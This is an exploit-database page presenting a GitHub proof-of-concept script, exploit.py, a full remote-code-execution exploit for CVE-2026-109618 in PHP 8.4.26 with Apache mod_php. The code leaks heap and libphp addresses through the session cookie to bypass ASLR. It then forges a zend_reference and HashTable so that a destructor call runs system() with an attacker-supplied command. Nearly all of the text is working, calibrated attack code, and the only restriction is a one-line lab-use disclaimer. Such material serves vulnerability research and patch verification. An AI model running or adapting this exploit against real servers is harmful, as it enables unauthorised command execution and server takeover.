Exploit database

GH-4b2427ce9c9de8f96d107523511a2b8e

cozybear-dev/cve-2026-109618

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

411 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
cozybear-dev/cve-2026-109618Revision 6f4b4190d773

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

attacker/exploit.py

Python · 19,574 bytes
#!/usr/bin/env python3
"""
CVE-2026-109618 (GHSA-w8hw-w9fx-j79w) - PHP OOM bailout -> RCE.

Lab exploit for PHP 8.4.26 + Apache prefork + mod_php (official
php:8.4.26-apache image).  The target page does not have to use sessions.

The chain exercises the OOM-corruption flaw from this advisory and the
stale-global-state consumer described in the related GHSA-6wmf-4rv5-p3rp
(CVE-2026-109619).  PHP 8.4.27 fixes both with commit 506e87fa7d
("Avoid state corruption via bailout"), which replaces the OOM longjmp and
resets the affected request-scoped globals.

Chain (all attacker traffic is ordinary HTTP multipart POSTs):

  request A  (producer)
      Upload-progress request.  PHP initializes the session inside the
      multipart callback, before RINIT.  A memory_limit OOM bails out of
      php_session_initialize() and the request is torn down with
      PG(modules_activated)=0, so the session RSHUTDOWN reset is skipped.
      PS(http_session_vars) is left pointing at request-owned memory that
      is freed with the request heap.

  request B  (consumer)
      Another upload-progress request.  Multipart fields are parsed into
      request-heap buffers before php_session_initialize() runs again.
      The freed zend_reference is reclaimed with a forged reference
      (values of short multipart fields live in reusable raw buffers),
      and a live 167-byte zend_string carries a forged HashTable.
      php_session_track_init() calls zval_ptr_dtor() on the stale
      reference:
          zval_ptr_dtor -> zend_reference_destroy -> zend_array_destroy
          -> zend_hash_destroy -> pDestructor(&bucket->val)
      pDestructor is libphp's zif_system(), so system() executes the
      command carried by the forged string.

Addresses are recovered with two in-band memory disclosures written into
the Set-Cookie header by the same stale-state bug (Zend MM chunk base and
libphp base), so the exploit works with ASLR enabled.

Usage:
    python3 exploit.py -u http://127.0.0.1:8088/index.php \
        --proof /path/to/p1 --cmd 'id>/out/p'

Exit status: 0 if the command produced a uid= proof file, 2 otherwise.

Authorised lab use only.
"""

from __future__ import annotations

import argparse
import os
import re
import socket
import struct
import sys
import threading
import time
import urllib.parse
from collections import Counter

# Offsets in the pinned php:8.4.26-apache image (libphp.so).
# Override with --zif-offset / --dtor-offset for another build.
ZIF_OFFSET = 0x465370        # zif_system
DTOR_OFFSET = 0x65EB60       # zval_ptr_dtor
HTDATA_OFFSET = 0x690D8      # chunk-relative address of the 167-byte live string

MAX_CMD = 14                 # 167-byte carrier - 0x98 header - NUL
SID = b"attacksessionid0001"
DEFAULT_CMD = "id>/out/p"

# Heap calibration for the pinned image (deterministic Zend MM allocation
# order, independent of ASLR).
STAGE1_FILLERS = 841
STAGE2_FILLERS = 983
STAGE2_TARGET = 406
STAGE2_VALUE_LEN = 16
STAGE3_PADS = [(31, 31)] * 6


# --------------------------------------------------------------------------
# HTTP
# --------------------------------------------------------------------------

class Target:
    def __init__(self, url: str, timeout: float = 30.0, quiet: bool = False):
        u = urllib.parse.urlsplit(url)
        if u.scheme not in ("http", "https"):
            raise SystemExit("URL must be http:// or https://")
        self.https = u.scheme == "https"
        self.host = u.hostname or "127.0.0.1"
        self.port = u.port or (443 if self.https else 80)
        self.path = u.path or "/"
        self.timeout = timeout
        self.quiet = quiet

    def log(self, msg: str) -> None:
        if not self.quiet:
            print(msg, flush=True)

    def _connect(self) -> socket.socket:
        last: Exception | None = None
        for _ in range(15):
            try:
                s = socket.create_connection((self.host, self.port), self.timeout)
                if self.https:
                    import ssl
                    s = ssl.create_default_context().wrap_socket(
                        s, server_hostname=self.host)
                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
                return s
            except OSError as e:
                last = e
                time.sleep(0.4)
        raise last  # type: ignore[misc]

    def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20,
             timeout: float | None = None,
             extra_headers: dict[str, str] | None = None) -> bytes:
        extra = "".join(f"{k}: {v}\r\n" for k, v in (extra_headers or {}).items())
        header = (
            f"POST {self.path} HTTP/1.1\r\n"
            f"Host: {self.host}\r\n"
            f"{extra}"
            f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
            f"Content-Length: {len(body)}\r\n"
            "Connection: close\r\n\r\n"
        ).encode()

        s = self._connect()
        s.settimeout(timeout or self.timeout)
        data = bytearray()

        # Read while uploading: the worker may abort right after emitting
        # Set-Cookie, and a recv() started later can miss buffered data.
        def reader() -> None:
            try:
                while len(data) < read_cap:
                    chunk = s.recv(65536)
                    if not chunk:
                        break
                    data.extend(chunk)
            except OSError:
                pass

        t = threading.Thread(target=reader, daemon=True)
        t.start()
        try:
            try:
                s.sendall(header)
                view = memoryview(body)
                for off in range(0, len(body), 262144):
                    s.sendall(view[off:off + 262144])
            except OSError:
                pass
            t.join(timeout=(timeout or self.timeout) + 2.0)
            return bytes(data)
        finally:
            s.close()


def multipart(parts: list[dict], boundary: bytes) -> bytes:
    out = bytearray()
    for p in parts:
        name = p["name"].encode()
        out += b"--" + boundary + b"\r\n"
        out += b'Content-Disposition: form-data; name="' + name + b'"'
        if p.get("filename") is not None:
            out += b'; filename="' + p["filename"].encode() + b'"'
            out += b"\r\nContent-Type: application/octet-stream"
        out += b"\r\n\r\n" + p["data"] + b"\r\n"
    out += b"--" + boundary + b"--\r\n"
    return bytes(out)


def cookie_value(response: bytes) -> bytes:
    m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n;]+)", response)
    return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1")) if m else b""


# --------------------------------------------------------------------------
# Address recovery
# --------------------------------------------------------------------------

def is_user_pointer(v: int) -> bool:
    # Native 0x7f.... and qemu-user 0x0000ff.... addresses both fit here.
    return 0x7F0000000000 <= v < 0x0001000000000000


def chunk_base_from_cookie(raw: bytes) -> int:
    """2 MB-aligned mode of the many stale heap pointers leaked in the cookie."""
    if len(raw) < 128:
        return 0
    counts: Counter[int] = Counter()
    for i in range(len(raw) - 8):
        v = int.from_bytes(raw[i:i + 8], "little")
        if is_user_pointer(v):
            counts[v & ~0x1FFFFF] += 1
    if not counts:
        return 0
    base, n = counts.most_common(1)[0]
    return base if n >= 8 else 0


def libphp_base_from_cookie(raw: bytes, dtor_offset: int) -> int:
    """Cookie data starts at PS(id)+0x18 = nNextFreeElement | pDestructor."""
    if len(raw) < 16:
        return 0
    ptr = int.from_bytes(raw[8:16], "little")
    if not is_user_pointer(ptr):
        return 0
    if (ptr & 0xFFF) != (dtor_offset & 0xFFF):
        return 0
    base = ptr - dtor_offset
    return base if (base & 0xFFF) == 0 else 0


# --------------------------------------------------------------------------
# Exploit
# --------------------------------------------------------------------------

class Exploit:
    def __init__(self, target: Target, cmd: str, zif_offset: int,
                 dtor_offset: int, htdata_offset: int, huge_mb: int = 12):
        self.t = target
        self.cmd = cmd.encode()
        self.zif_offset = zif_offset
        self.dtor_offset = dtor_offset
        self.htdata_offset = htdata_offset
        self.huge_mb = huge_mb
        if len(self.cmd) > MAX_CMD:
            raise SystemExit(f"command is limited to {MAX_CMD} bytes by the payload layout")

    # -- request pieces ---------------------------------------------------

    @staticmethod
    def _file_part() -> dict:
        return {"name": "f", "filename": "a.txt", "data": b"A" * 64}

    def _big_part(self) -> dict:
        return {"name": "big", "data": b"B" * (self.huge_mb * 1024 * 1024)}

    def _producer(self, parts: list[dict], boundary: bytes,
                  timeout: float | None = None) -> bytes:
        """Request A: OOM inside the pre-RINIT session initialization."""
        parts = list(parts)
        parts += [
            {"name": "PHPSESSID", "data": b"\x00"},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
            self._file_part(),
            self._big_part(),
        ]
        return self.t.post(multipart(parts, boundary), boundary,
                           read_cap=1 << 20, timeout=timeout)

    def rotate(self) -> None:
        """Abort the current prefork worker; the parent forks a replacement."""
        self.t.log("[*] rotating worker")
        self._producer([{"name": f"f{i:04d}"[:5], "data": b"V" * 3000}
                        for i in range(1001)], b"S" * 17, timeout=120)
        time.sleep(0.3)
        # Session-initializing request with no file part: the next callback
        # walks the corrupted heap and the child aborts.
        self.t.post(multipart([
            {"name": "PHPSESSID", "data": SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ], b"BNDRY12345"), b"BNDRY12345", read_cap=65536, timeout=20)
        time.sleep(0.5)

    # -- stage 1: Zend MM chunk base --------------------------------------

    def stage1(self) -> int:
        self._producer([{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)],
                       b"S" * 17, timeout=120)
        time.sleep(0.2)

        parts = [
            {"name": "PHPSESSID", "data": SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        for i in range(STAGE1_FILLERS):
            parts.append({"name": str(1000 + i),
                          "data": (f"v{i:04d}" + "x" * 44)[:48].encode()})
        # A 79-byte live string whose length field is rewritten to 0x1000;
        # php_url_encode() then reads the stale PS(id) past its end and
        # percent-encodes heap pointers into Set-Cookie.
        forge = bytearray(b"A" * 79)
        struct.pack_into("<Q", forge, 0x10, 0x1000)
        forge[0x18] = ord("L")
        parts.append({"name": "1999", "data": bytes(forge)})

        resp = self.t.post(multipart(parts, b"B" * 10), b"B" * 10,
                           read_cap=9 << 20)
        return chunk_base_from_cookie(cookie_value(resp))

    # -- stage 2: libphp base via pDestructor -----------------------------

    def stage2(self) -> int:
        self._producer([{"name": f"f{i:04d}"[:5], "data": b"x" * 39}
                        for i in range(1001)], b"S" * 17, timeout=120)
        time.sleep(0.2)

        parts = [
            {"name": "PHPSESSID", "data": SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        for i in range(STAGE2_FILLERS):
            n = STAGE2_VALUE_LEN if i == STAGE2_TARGET else 1
            for j in range(n):
                parts.append({"name": f"a{i:04d}[{j}]",
                              "data": b"x" * STAGE2_VALUE_LEN})
        resp = self.t.post(multipart(parts, b"B" * 10), b"B" * 10,
                           read_cap=1 << 20)
        return libphp_base_from_cookie(cookie_value(resp), self.dtor_offset)

    # -- stage 3: forged reference + forged HashTable -> zif_system -------

    def _payload(self, htdata: int, zif: int) -> tuple[bytes, bytes]:
        cmd = self.cmd
        ht = bytearray(167)

        # zend_array interpreted as the reference's array value
        struct.pack_into("<II", ht, 0x00, 1, 7)                  # gc: rc=1, IS_ARRAY
        struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8)      # flags, nTableMask
        struct.pack_into("<Q", ht, 0x10, htdata + 0x20)          # arData
        struct.pack_into("<II", ht, 0x18, 1, 1)                  # nNumUsed, nNumOfElements
        struct.pack_into("<II", ht, 0x20, 8, 0)                  # nTableSize, nInternalPointer
        struct.pack_into("<Q", ht, 0x28, 0)                      # nNextFreeElement
        struct.pack_into("<Q", ht, 0x30, zif)                    # pDestructor = zif_system

        # Forged zend_execute_data at the bucket's zval address (htdata+0x20).
        # zif_system() reads one string argument from here.
        e = 0x20
        struct.pack_into("<Q", ht, e + 0x00, 0)                  # opline
        struct.pack_into("<Q", ht, e + 0x08, 0)                  # call
        struct.pack_into("<Q", ht, e + 0x10, zif)                # return_value
        struct.pack_into("<Q", ht, e + 0x18, 0)                  # func
        struct.pack_into("<Q", ht, e + 0x20, 0)                  # This.value
        struct.pack_into("<I", ht, e + 0x28, 0)                  # This.type_info
        struct.pack_into("<I", ht, e + 0x2C, 1)                  # num_args = 1
        struct.pack_into("<Q", ht, e + 0x30, 0)                  # prev_execute_data
        struct.pack_into("<Q", ht, e + 0x38, 0)                  # symbol_table
        struct.pack_into("<I", ht, e + 0x40, 0)                  # call_info
        struct.pack_into("<Q", ht, e + 0x50, htdata + 0x80)      # arg 1 value
        struct.pack_into("<I", ht, e + 0x58, 6)                  # arg 1: IS_STRING

        # Forged zend_string holding the command.
        struct.pack_into("<II", ht, 0x80, 1, 0x106)              # gc: rc=1, IS_STRING
        struct.pack_into("<Q", ht, 0x88, 0)                      # h
        struct.pack_into("<Q", ht, 0x90, len(cmd))               # len
        ht[0x98:0x98 + len(cmd)] = cmd
        ht[0x98 + len(cmd)] = 0

        # 55-byte buffer that lands at R0-0x10 and forges the reference at R0.
        ref = bytearray(b"X" * 55)
        struct.pack_into("<II", ref, 0x10, 1, 10)                # gc: rc=1, IS_REFERENCE
        struct.pack_into("<Q", ref, 0x18, htdata)                # val.value
        struct.pack_into("<Q", ref, 0x20, 0x307)                 # val.type = IS_ARRAY_EX
        struct.pack_into("<Q", ref, 0x28, 0)                     # sources = NULL
        return bytes(ht), bytes(ref)

    def stage3(self, htdata: int, zif: int) -> None:
        # Request A: leave PS(http_session_vars) dangling again.
        a = [{"name": "PHPSESSID", "data": b"a" * 19},
             {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3}]
        for i, (name_len, val_len) in enumerate(STAGE3_PADS):
            a.append({"name": (f"p{i:0{name_len - 1}d}" if name_len else "")[:name_len],
                      "data": b"V" * val_len})
        a += [self._file_part(), self._big_part()]
        self.t.post(multipart(a, b"S" * 17), b"S" * 17,
                    read_cap=1 << 20, timeout=120,
                    extra_headers={"Cookie": "PHPSESSID=" + "a" * 32})
        time.sleep(0.3)

        # Request B: reclaim the stale reference and trigger the destructor.
        ht, ref = self._payload(htdata, zif)
        b = [{"name": "PHPSESSID", "data": SID},
             {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"}]
        for i in range(2):
            b.append({"name": f"f{i:02d}", "data": b"F" * 15})
        carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", htdata)[:7]
        b.append({"name": "g00", "data": carrier})
        for i in range(15):
            b.append({"name": f"a{i:030d}"[:31], "data": ht})
        self.t.post(multipart(b, b"B" * 10), b"B" * 10,
                    read_cap=65536, timeout=30)


# --------------------------------------------------------------------------
# Driver
# --------------------------------------------------------------------------

def proof_status(path: str) -> str:
    try:
        with open(path, "rb") as f:
            data = f.read().decode("latin1").strip()
    except OSError:
        return ""
    return data if re.search(r"uid=\d+", data) else ""


def main() -> int:
    ap = argparse.ArgumentParser(
        description="CVE-2026-109618 PHP 8.4.26 mod_php RCE (lab)")
    ap.add_argument("-u", "--url", required=True)
    ap.add_argument("-c", "--cmd", default=DEFAULT_CMD,
                    help=f"command to run in the worker (max {MAX_CMD} bytes)")
    ap.add_argument("--proof", default="/out/p",
                    help="proof file path visible to this process")
    ap.add_argument("--zif-offset", type=lambda x: int(x, 0), default=ZIF_OFFSET)
    ap.add_argument("--dtor-offset", type=lambda x: int(x, 0), default=DTOR_OFFSET)
    ap.add_argument("--htdata-offset", type=lambda x: int(x, 0), default=HTDATA_OFFSET)
    ap.add_argument("--huge-mb", type=int, default=12)
    ap.add_argument("--retries", type=int, default=3)
    ap.add_argument("--timeout", type=float, default=30.0)
    ap.add_argument("-q", "--quiet", action="store_true")
    args = ap.parse_args()

    t = Target(args.url, timeout=args.timeout, quiet=args.quiet)
    ex = Exploit(t, args.cmd, args.zif_offset, args.dtor_offset,
                 args.htdata_offset, args.huge_mb)
    t.log(f"[*] target {args.url} cmd={args.cmd!r}")
    t.log(f"[*] offsets zif=0x{args.zif_offset:x} dtor=0x{args.dtor_offset:x} "
          f"htdata=0x{args.htdata_offset:x}")

    try:
        os.unlink(args.proof)
    except OSError:
        pass

    ex.rotate()

    chunk = 0
    for attempt in range(1, args.retries + 1):
        t.log(f"[*] stage 1: heap leak ({attempt}/{args.retries})")
        chunk = ex.stage1()
        if chunk:
            t.log(f"[+] Zend MM chunk base = 0x{chunk:x}")
            break
        ex.rotate()
    if not chunk:
        print("[-] heap leak failed", file=sys.stderr)
        return 2
    ex.rotate()

    libphp = 0
    for attempt in range(1, args.retries + 1):
        t.log(f"[*] stage 2: libphp leak ({attempt}/{args.retries})")
        libphp = ex.stage2()
        if libphp:
            t.log(f"[+] libphp base = 0x{libphp:x}")
            break
        ex.rotate()
    if not libphp:
        print("[-] libphp leak failed", file=sys.stderr)
        return 2
    ex.rotate()

    htdata = chunk + args.htdata_offset
    zif = libphp + args.zif_offset
    t.log(f"[*] stage 3: HTDATA=0x{htdata:x} zif_system=0x{zif:x}")

    for attempt in range(1, args.retries + 3):
        try:
            ex.stage3(htdata, zif)
        except OSError as e:
            t.log(f"[-] request error: {e}")
        time.sleep(0.8)
        proof = proof_status(args.proof)
        if proof:
            t.log(f"[+] executed on attempt {attempt}")
            print(f"PROOF: {proof}")
            return 0
        t.log(f"[-] attempt {attempt}: no proof yet")
        ex.rotate()

    print("[-] no proof produced", file=sys.stderr)
    return 2


if __name__ == "__main__":
    try:
        sys.exit(main())
    except KeyboardInterrupt:
        sys.exit(130)